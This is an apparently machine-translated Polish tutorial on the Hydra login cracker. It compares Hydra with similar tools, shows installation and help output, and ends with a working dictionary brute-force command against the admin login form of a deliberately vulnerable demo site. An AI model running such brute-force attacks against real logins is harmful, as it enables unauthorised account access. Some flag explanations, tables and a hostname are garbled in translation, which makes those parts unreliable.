Złamanie strony logowania opartej na sieci Web za pomocą Hydry w Kali Linux

Crack Web Based Login Page With Hydra Kali Linux



Hasło jest technicznie zdefiniowane jako tajny ciąg znaków używany do uwierzytelniania lub uzyskiwania dostępu do zasobów. Musi być trzymana w tajemnicy i ukrywana przed innymi, którzy nie mają dostępu do tych zasobów. Hasła były używane w komputerach od najwcześniejszych dni informatyki. Jeden z pierwszych systemów współdzielenia został wprowadzony w 1961 roku. Miał polecenie logowania, które wymagało podania hasła użytkownika. Po wpisaniu HASŁA system w miarę możliwości wyłącza mechanizm drukujący, aby użytkownik mógł wpisać swoje hasło z zachowaniem prywatności.

Siła hasła jest funkcją długości, złożoności i nieprzewidywalności. Mierzy skuteczność w opieraniu się zgadywaniu lub łamaniu. Z drugiej strony słabe hasła skracają czas potrzebny na odgadnięcie i uzyskanie dostępu do osobistych/firmowych wiadomości e-mail, wrażliwych danych, takich jak informacje finansowe, informacje biznesowe, karty kredytowe itp.







Istnieje wiele sposobów, w jakie hasło może być słabe, co odpowiada sile różnych schematów ataków. Najpopularniejszym tego rodzaju atakiem na uwierzytelnienie jest brutalna siła. jest to metoda prób i błędów, taka jak zgadywanie, próba odszyfrowania zaszyfrowanych danych, takich jak hasło lub szyfrowanie danych używane przez program użytkowy lub narzędzie hakerskie.



Hydra to najszybszy program do łamania logowania do sieci, który obsługuje wiele protokołów ataku. Jest bardzo szybki i elastyczny, a nowe moduły można łatwo dodawać. Narzędzie to umożliwia badaczom i konsultantom ds. bezpieczeństwa pokazanie, jak łatwo byłoby zdalnie uzyskać nieautoryzowany dostęp do systemu. Hydra została napisana przez van Hausera i dodatkowo wspierana przez Davida Maciejaka. W najnowszej aktualizacji rozwój hydry został przeniesiony do publicznego repozytorium github pod adresem: https://github.com/vanhauser-thc/thc-hydra.



Hydra została przetestowana pod kątem kompilacji na systemach Linux, Windows/Cygwin, Solaris 11, FreeBSD 8.1, OpenBSD, OSX,QNX/Blackberry i została udostępniona na licencji GPLv3 ze specjalnym rozszerzeniem licencji OpenSSL.





THC Hydra obsługuje następujące protokoły: Cisco AAA, Cisco auth, Cisco enable, CVS, FTP, HTTP(S)-FORM-GET, HTTP(S)-FORM-POST, HTTP(S)-GET, HTTP(S)-HEAD , HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MySQL, NNTP, Oracle Listener, Oracle SID, PC-Anywhere, PC-NFS, POP3, PostgreSQL, RDP, Rexec, Rlogin, Rsh, SIP, SMB (NT), SMTP, SMTP Enum, SNMP v1+v2+v3, SOCKS5, SSH (v1 i v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC i XMPP.

PORÓWNANIE HYDRY Z INNYMI NARZĘDZIAMI DO PĘKANIA

Oprócz hydry istnieje również wiele narzędzi do łamania logowania, jednak żadne z nich nie obsługuje ogromnej listy protokołów i obsługi równoległego łamania logowania, tak jak robi to hydra. Poniższe tabele pokazują wyniki porównania funkcji, usług i prędkości z meduzą i pęknięciem.



Cechy

Funkcja Hydra Meduza Ncrack
Licencja AGPLv3 GPLv2 Warunki GPLv2 + Nmap
Obsługa IPv6 tak Nie Nie
Graficzny interfejs użytkownika tak tak Nie
Wsparcie międzynarodowe (RFC 4013) tak Nie Nie
Obsługa proxy HTTP tak tak Nie
Obsługa proxy SOCKS tak Nie Nie
Obsługiwane protokoły 51 22 7

Usługi

Złamać stronę logowania przez Internet za pomocą

Praca Detale Hydra Meduza Ncrack
ADAM-6500 tak Nie Nie
AFP tak tak Nie
Gwiazdka tak Nie Nie
Hasło Cisco tak Nie Nie
Włącz Cisco tak Nie Nie
CVS tak tak Nie
ognisty Ptak tak Nie Nie
FTP tak tak tak
Obsługa SSL AUTH TLS i FTP przez SSL AUTH TLS i FTP przez SSL Nie
HTTP Metoda(y) POBIERZ, GŁOWA, POST DOSTWAĆ DOSTWAĆ
Uwierzytelnianie podstawowe tak tak tak
Formularz HTTP Metoda(y) POBIERZ, PUBLIKUJ POBIERZ, PUBLIKUJ Nie
Obsługa SSL HTTPS HTTPS Nie
Http Proxy Uwierzytelnianie podstawowe tak Nie Nie
Uwierzytelnianie DIGEST-MD5 tak Nie Nie
Uwierzytelnianie NTLM tak Nie Nie
Obsługa SSL HTTPS Nie Nie
Wyliczenie adresu URL serwera proxy HTTP tak Nie Nie
ICQ v5 tak
1
Nie Nie
IMAP LOGOWANIE wsparcie tak tak Nie
Wsparcie AUTH LOGIN tak Nie Nie
AUTH ZWYKŁA obsługa tak tak Nie
Obsługa AUTH CRAM-MD5 tak Nie Nie
Obsługa AUTH CRAM-SHA1 tak Nie Nie
Obsługa AUTH CRAM-SHA256 tak Nie Nie
Obsługa AUTH DIGEST-MD5 tak Nie Nie
Obsługa AUTH NTLM tak tak Nie
Obsługa AUTH SCRAM-SHA1 tak Nie Nie
Obsługa SSL IMAPS & STARTTLS IMAPS & STARTTLS Nie
IRC Ogólne hasło do serwera tak Nie Nie
Hasło trybu OPER tak Nie Nie
LDAP v2, Proste wsparcie tak Nie Nie
v3, proste wsparcie tak Nie Nie
v3, obsługa AUTH CRAM-MD5 tak Nie Nie
Obsługa AUTH DIGEST-MD5 tak
Obsługa AUTH NTLM tak tak
Obsługa AUTH SCRAM-SHA1 tak
Obsługa SSL IMAPS & STARTTLS IMAPS & STARTTLS
IRC Ogólne hasło do serwera tak
Hasło trybu OPER tak
LDAP v2, Proste wsparcie tak
v3, proste wsparcie tak
v3, obsługa AUTH CRAM-MD5 tak
v3, obsługa AUTH DIGEST-MD5 tak
MS-SQL tak tak
MySQL v3.x tak tak
v4.x tak tak
v5.x tak tak
KPK tak tak
NNTP Wsparcie użytkownika tak tak
Wsparcie AUTH LOGIN tak
AUTH ZWYKŁA obsługa tak
Obsługa AUTH CRAM-MD5 tak
Obsługa AUTH DIGEST-MD5 tak
Obsługa AUTH NTLM tak
Obsługa SSL STARTTLS i NNTP przez SSL
Wyrocznia Baza danych tak tak
Odbiornik TNS tak
Wyliczenie identyfikatora SID tak
PC-NFS tak
pcWszędzie Uwierzytelnianie natywne tak tak
Uwierzytelnianie oparte na systemie operacyjnym (MS) tak
POP3 Wsparcie użytkownika tak tak tak
Wsparcie APOP tak
Wsparcie AUTH LOGIN tak tak
AUTH ZWYKŁA obsługa tak tak
Obsługa AUTH CRAM-MD5 tak
Obsługa AUTH CRAM-SHA1 tak
Obsługa AUTH CRAM-SHA256 tak
Obsługa AUTH DIGEST-MD5 tak
Obsługa AUTH NTLM tak tak
Obsługa SSL POP3S I STARTTLS POP3S I STARTTLS POP3S
PostgreSQL tak tak
Gwiazdka tak
PROW Stacja robocza Windows tak tak tak
Serwer Windows tak tak
Uwierzytelnianie domeny tak tak
REDIS tak Nie
REXEC tak tak
ZALOGUJ tak tak
RPCAP tak Nie
RSH tak tak
RTSP tak Nie
SAP R / 3 tak
Siemens S7-300 tak
łyk tak
Obsługa SSL SIP przez SSL
MSP Tryb NetBIOS tak tak Nie
Tryb natywny W2K tak tak tak
Tryb haszowania tak tak Nie
Uwierzytelnianie czystego tekstu tak tak
Uwierzytelnianie LMv1 tak tak tak
Uwierzytelnianie LMv2 tak tak tak
Uwierzytelnianie NTLMv1 tak tak tak
Uwierzytelnianie NTLMv2 tak tak tak
SMTP Wsparcie AUTH LOGIN tak tak
AUTH ZWYKŁA obsługa tak tak
Obsługa AUTH CRAM-MD5 tak
Obsługa AUTH DIGEST-MD5 tak
Obsługa AUTH NTLM tak tak
Obsługa SSL SMTPS & STARTTLS SMTPS & STARTTLS
Wyliczenie użytkownika SMTP Polecenie VRFY tak tak
EXPN cmd tak tak
RCPT DO cmd tak tak
SNMP v1 tak tak
v2c tak tak
v3 (tylko autoryzacja MD5/SHA1)
SKARPETY v5, Uwierzytelnianie hasła tak
SSH v1 tak
v2 tak tak tak
Klucze SSH v1, v2 tak
Subwersja (SVN) tak tak
TeamSpeak TS2 tak
Telnet tak tak tak
XMPP Wsparcie AUTH LOGIN tak
AUTH ZWYKŁA obsługa tak
Obsługa AUTH CRAM-MD5 tak
Obsługa AUTH DIGEST-MD5 tak
Obsługa AUTH SCRAM-SHA1 tak
Demon uwierzytelniania VMware v1.00 / v1.10 tak tak
Obsługa SSL tak tak
VNC Obsługa hasła RFB 3.x tak tak
RFB 3.x obsługa użytkownika + hasła (tylko UltraVNC)
Obsługa hasła RFB 4.x tak tak
Obsługa użytkownika i hasła RFB 4.x (tylko UltraVNC)

Porównanie prędkości

Prędkość (w s) Hydra Meduza Ncrack
1 Zadanie / moduł FTP 11,93 12.97 18.01
4 Zadania / Moduł FTP 4.20 5.24 9.01
16 zadań / moduł FTP 2,44 2,71 12.01
1 zadanie / moduł SSH v2 32,56 33,84 45.02
4 zadania / moduł SSH v2 10.95 Złamany Pominięty
16 zadań / moduł SSH v2 5.14 Złamany Pominięty

To było krótkie, proste wprowadzenie do hydry. Przejdźmy teraz do instalacji.

INSTALACJA HYDRY

Hydra jest preinstalowana na kali linux, jednak jeśli masz inny system operacyjny, możesz go skompilować i zainstalować w swoim systemie. Obecnie wsparcie hydry na różnych platformach:

  • Wszystkie platformy UNIX (Linux, *bsd, Solaris itp.)
  • MacOS (w zasadzie klon BSD)
  • Windows z Cygwin (zarówno IPv4, jak i IPv6)
  • Systemy mobilne oparte o Linux, MacOS lub QNX (np. Android, iPhone, Blackberry 10, Zaurus, iPaq)

Aby pobrać, skonfigurować, skompilować i zainstalować hydrę, wystarczy wpisać w terminalu:

git clone https://github.com/vanhauser-thc/thc-hydra.git cd thc-hydra ./configure make make install 

Jeśli masz Ubuntu/Debian, będziesz potrzebować kilku bibliotek zależności:

apt install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird-dev libncp-dev 

Jeśli nie możesz znaleźć tych bibliotek w swoim repozytorium, musisz je pobrać i zainstalować ręcznie.

JAK UŻYWAĆ HYDRY?

Gratulacje, teraz udało Ci się zainstalować hydrę w swoim systemie. Właściwie Hydra ma dwa smaki, GUI-gtk i moją ulubioną wersję CLI. dodatkowo hydra posiada również wersję sterowaną przez CLI, zwaną hydra-wizard. Zostaniesz poprowadzony krok po kroku, zamiast ręcznie wpisywać wszystkie polecenia lub argumenty do terminala. Aby uruchomić hydrę, ze swojego terminala wpisz :

Dla CLI:

hydra

Dla kreatora CLI:

hydra-wizard

Dla GUI:

xhydra

Po wpisaniu „hydra” wyświetli polecenia pomocy takie jak:

 [email protected] :~# hydra -h Hydra v8.6 (c)2017 by van Hauser/THC & David Maciejak - for legal purposes only Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SuvV46] [service://server[:PORT][/OPT]] Options: -R restore a previous aborted/crashed session -S perform an SSL connect -s PORT if the service is on a different default port, define it here -l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE -p PASS or -P FILE try password PASS, or load several passwords from FILE -x MIN:MAX:CHARSET password bruteforce generation, type '-x -h' to get help -e nsr try 'n' null password, 's' login as pass and/or 'r' reversed login -u loop around users, not passwords (effective! implied with -x) -C FILE colon separated 'login:pass' format, instead of -L/-P options -M FILE list of servers to be attacked in parallel, one entry per line -o FILE write found login/password pairs to FILE instead of stdout -f / -F exit when a login/pass pair is found (-M: -f per host, -F global) -t TASKS run TASKS number of connects in parallel (per host, default: 16) -w / -W TIME waittime for responses (32s) / between connects per thread -4 / -6 prefer IPv4 (default) or IPv6 addresses -v / -V / -d verbose mode / show login+pass for each attempt / debug mode -U service module usage details server the target server (use either this OR the -M option) service the service to crack (see below for supported protocols) OPT some service modules support additional input (-U for module help) Supported services: asterisk afp cisco cisco-enable cvs firebird ftp ftps http[s]-head http[s]-post-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-crammd5][s] mssql mysql ncp nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres rdp rexec rlogin rsh s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp Hydra is a tool to guess/crack valid login/password pairs - usage only allowed for legal purposes. This tool is licensed under AGPL v3.0. The newest version is always available at http://www.thc.org/thc-hydra These services were not compiled in: sapr3 oracle. Use HYDRA_PROXY_HTTP or HYDRA_PROXY - and if needed HYDRA_PROXY_AUTH - environment for a proxy setup. E.g.: % export HYDRA_PROXY=socks5://127.0.0.1:9150 (or socks4:// or connect://) % export HYDRA_PROXY_HTTP=http://proxy:8080 % export HYDRA_PROXY_AUTH=user:pass Examples: hydra -l user -P passlist.txt ftp://192.168.0.1 hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN hydra -C defaults.txt -6 pop3s://[fe80::2c:31ff:fe12:ac11]:143/TLS:DIGEST-MD5 hydra -l admin -p password ftp://[192.168.0.0/24]/ hydra -L logins.txt -P pws.txt -M targets.txt ssh

Logowanie sieciowe Bruteforce za pomocą hydra

Hydra obsługuje niektóre usługi bruteforcingu, jak wspomniałem wcześniej, jedna z nich jest używana do bruteforce loginów internetowych, takich jak formularz logowania do mediów społecznościowych, formularz logowania do bankowości użytkownika, login internetowy routera itp. Ten http[s]-get-form który obsłuży to żądanie. W tym samouczku pokażę, jak bruteforce podatnych na logowanie do sieci. Zanim odpalimy hydrę powinniśmy znać kilka potrzebnych argumentów, takich jak poniżej:

  • Cel : http://testasp.vulnweb.com/Login.asp?RetURL=%2FDefault%2Easp%3F
  • Login nazwa użytkownika : Administrator (jeśli nie masz pewności, użyj metody bruteforce)
  • Lista haseł : Lokalizacja listy plików słownika zawierającej możliwe hasła.
  • Parametry formularza : ogólnie, użyj danych sabotażowych lub serwera proxy, aby uzyskać parametry formularza żądania. Ale tutaj używam iceweasel, opartego na firefoxie, paska narzędzi programisty sieci.
  • Moduł serwisowy : http-post-formularz
Help for module http-post-form: ============================================================================ Module http-post-form requires the page and the parameters for the web form. By default this module is configured to follow a maximum of 5 redirections in a row. It always gathers a new cookie from the same URL without variables The parameters take three ':' separated values, plus optional values. (Note: if you need a colon in the option string as value, escape it with ':', but do not escape a '' with '\'.) Syntax: [url]:[form parameters]:[condition string][:(optional)[:(optional)] First is the page on the server to GET or POST to (URL). Second is the POST/GET variables (taken from either the browser, proxy, etc. with usernames and passwords being replaced in the '^USER^' and '^PASS^' placeholders (FORM PARAMETERS) Third is the string that it checks for an *invalid* login (by default) Invalid condition login check can be preceded by 'F=', successful condition login check must be preceded by 'S='. This is where most people get it wrong. You have to check the webapp what a failed string looks like and put it in this parameter! The following parameters are optional: C=/page/uri to define a different page to gather initial cookies from (h|H)=My-Hdr: foo to send a user defined HTTP header with each request ^USER^ and ^PASS^ can also be put into these headers! Note: 'h' will add the user-defined header at the end regardless it's already being sent by Hydra or not. 'H' will replace the value of that header if it exists, by the one supplied by the user, or add the header at the end Note that if you are going to put colons (:) in your headers you should escape them with a backslash (). All colons that are not option separators should be escaped (see the examples above and below). You can specify a header without escaping the colons, but that way you will not be able to put colons in the header value itself, as they will be interpreted by hydra as option separators.

Uzyskiwanie parametrów posta za pomocą przeglądarki, iceweasel/firefox

W przeglądarce Firefox naciśnij klawisze ‘ CTRL + SHIFT + Q „. Następnie otwórz stronę logowania internetowegohttp://testasp.vulnweb.com/Login.asp?RetURL=%2FDefault%2Easp%3F, zauważysz, że na karcie dewelopera sieci pojawia się jakiś tekst. Informuje o tym, jakie pliki są do nas przesyłane. Zobacz metodę, że wszystkie są GET, ponieważ nie mamy jeszcze żadnych danych POST.

Aby uzyskać parametry post-form, wpisz cokolwiek w formularzu nazwy użytkownika i hasła. Zauważysz nową metodę POST na karcie dewelopera sieci. Kliknij dwukrotnie ten wiersz, na karcie Nagłówki kliknij przycisk Edytuj i wyślij ponownie po prawej stronie. W treści żądania skopiuj ostatnią linię, na przykład tfUName = asu & tfUPass = raimu . ten tfUName oraz tfUPass to parametry, których potrzebujemy. Jak widać poniżej:

Kali linux ma kilka list słów, wybierz odpowiednią listę słów lub po prostu użyj miejsca rockyou.txt w /usr/share/listy słów/ jak widać poniżej:

W porządku, teraz mamy wszystkie potrzebne argumenty i gotowe do odpalenia hydry. Oto wzór polecenia:

hydra -l -P [/code] Finally, based on information we have gathered, our commands ahould look something like this: hydra -l admin -P /usr/share/wordlists/rockyou.txt testasp.vulnweb.com http-post-form '/Login.asp?RetURL=%2FDefault%2Easp%3F:tfUName=^USER^&tfUPass=^PASS^:S=logout' -vV -f

Rozłóżmy polecenia:

  • ten : jest słowem zawierającym nazwę użytkownika, użyj -L, aby odwołać się do listy możliwych nazw użytkowników w pliku.
  • P : jest listą plików z możliwymi hasłami, użyj -p, aby użyć jednego słowa hasło zamiast zgadywać je.
  • testapp.vunlwebapp.com : to nazwa hosta lub cel
  • http-post-formularz : czy używany przez nas moduł serwisowy?
  • /Login.asp?RetURL=%2FDefault%2Easp%3F:tfUName=^USER^&tfUPass=^PASS^:S=logout = wymagane 3 parametry, składnia to :
    {URL strony}:{Poproś o parametry formularza treści posta}:S={Znajdź cokolwiek na stronie po pomyślnym zalogowaniu}
  • v = Tryb szczegółowy
  • V = pokaż login: pass dla każdej próby
  • F = Zakończ program po znalezieniu pary login:hasło

Teraz niech hydra spróbuje za nas złamać hasło, potrzebuje czasu, ponieważ jest to atak słownikowy. Gdy uda ci się znaleźć parę login:hasło, hydra natychmiast zakończy zadanie i pokaże ważne poświadczenia.

Jest tak wiele do zrobienia, że ​​hydra może zrobić, ponieważ w tym samouczku nauczyliśmy się, jak brutalnie wymuszać logowanie przez sieć za pomocą hydry, uczymy się tylko jednego protokołu, czyli protokołu http-post-form. Możemy również użyć hydry przeciwko innym protokołom, takim jak ssh, ftp, telnet, VNC, proxy itp.